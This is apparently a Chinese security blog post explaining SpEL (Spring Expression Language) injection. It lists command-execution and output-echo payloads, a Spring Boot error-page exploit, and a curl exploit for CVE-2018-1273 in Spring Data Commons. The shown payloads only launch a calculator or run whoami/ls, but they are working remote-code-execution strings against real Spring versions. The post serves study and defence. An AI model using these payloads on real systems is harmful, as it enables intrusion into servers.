SPEL注入分析
前言
本篇探讨一下关于SPEL注入漏洞实现命令执行的相关知识。
0x01 关于SPEL
SPEL简介
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
SPEL基础用法
1. 传递字符参数
2. 传递类方法
除了上面传递字符参数,还可以指定一个类使用一个类的类方法:
T(java.lang.Runtime).getRuntime().exec("calc")
3. 实例化类执行方法
new 类名,可以直接new一个对象,再执行其中的方法
new java.lang.ProcessBuilder("open", "-a","Calculator").start()
4. spel定界符
SpEL使用 #{...}
作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
其中属性名称引用还可以用$
符号 如:${someProperty}
除此以外在SpEL中,使用T()
运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math
类,我们可以像下面的示例这样使用T()
运算符:
\#{T(java.lang.Math)}
T()
运算符的结果会返回一个java.lang.Math
类对象。
0x02 SPEL命令执行回显
前面看到已经可以通过spel执行命令,现在看一下回显的方式
1. commons-io
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件
2. JShell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
3. JDK原生回显类BufferedReader
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()
但是这个类只能读取一行
4. Scanner回显
new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
0x03 SPEL漏洞复现
1. springboot的SPEL注入
影响版本:
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
修改pom:
在启动是可能会报一个:Error:(4, 45) java: 程序包org.springframework.boot.test.context不存在,的错误,可能是版本过低导致,可以采用关闭测试类的方式解决:
然后 添加一个controller:
进行注入:
计算可以成功,但是计算器失败:
首先造成spel注入的主要是ErrorMvcAutoConfiguration.java
中的SpelView
类:
SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据在SpelView中,我们可以看到使用了StandardEvaluationContext:
用于递归解析在${...}
中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前context
中rootObject
取相关数据 如timestamp
然后PropertyPlaceholderHelper
类中通过parseStringValue
方法递归字符串找到目标去掉 $()
,这个方法中调用resolvePlaceholder
方法来在context
中找到对应的name
,并在这里执行了getValue
操作。由此造成命令执行:
这里面还有一个有意思的是直接用上面的payload去执行是不行的,原因是里面有一个convertToReference方法对特殊字符进行的编码,有兴趣可以查看一下参考文章的断点调试。
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
2. CVE-2018-1273 Spring Data Commons RCE
payload:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')]=test"
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
总结
常用payload
参考
https://www.cnblogs.com/bitterz/p/15206255.html
__EOF__

本文链接:https://www.cnblogs.com/N0r4h/p/15986151.html
关于博主:一个废物到自闭的人
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类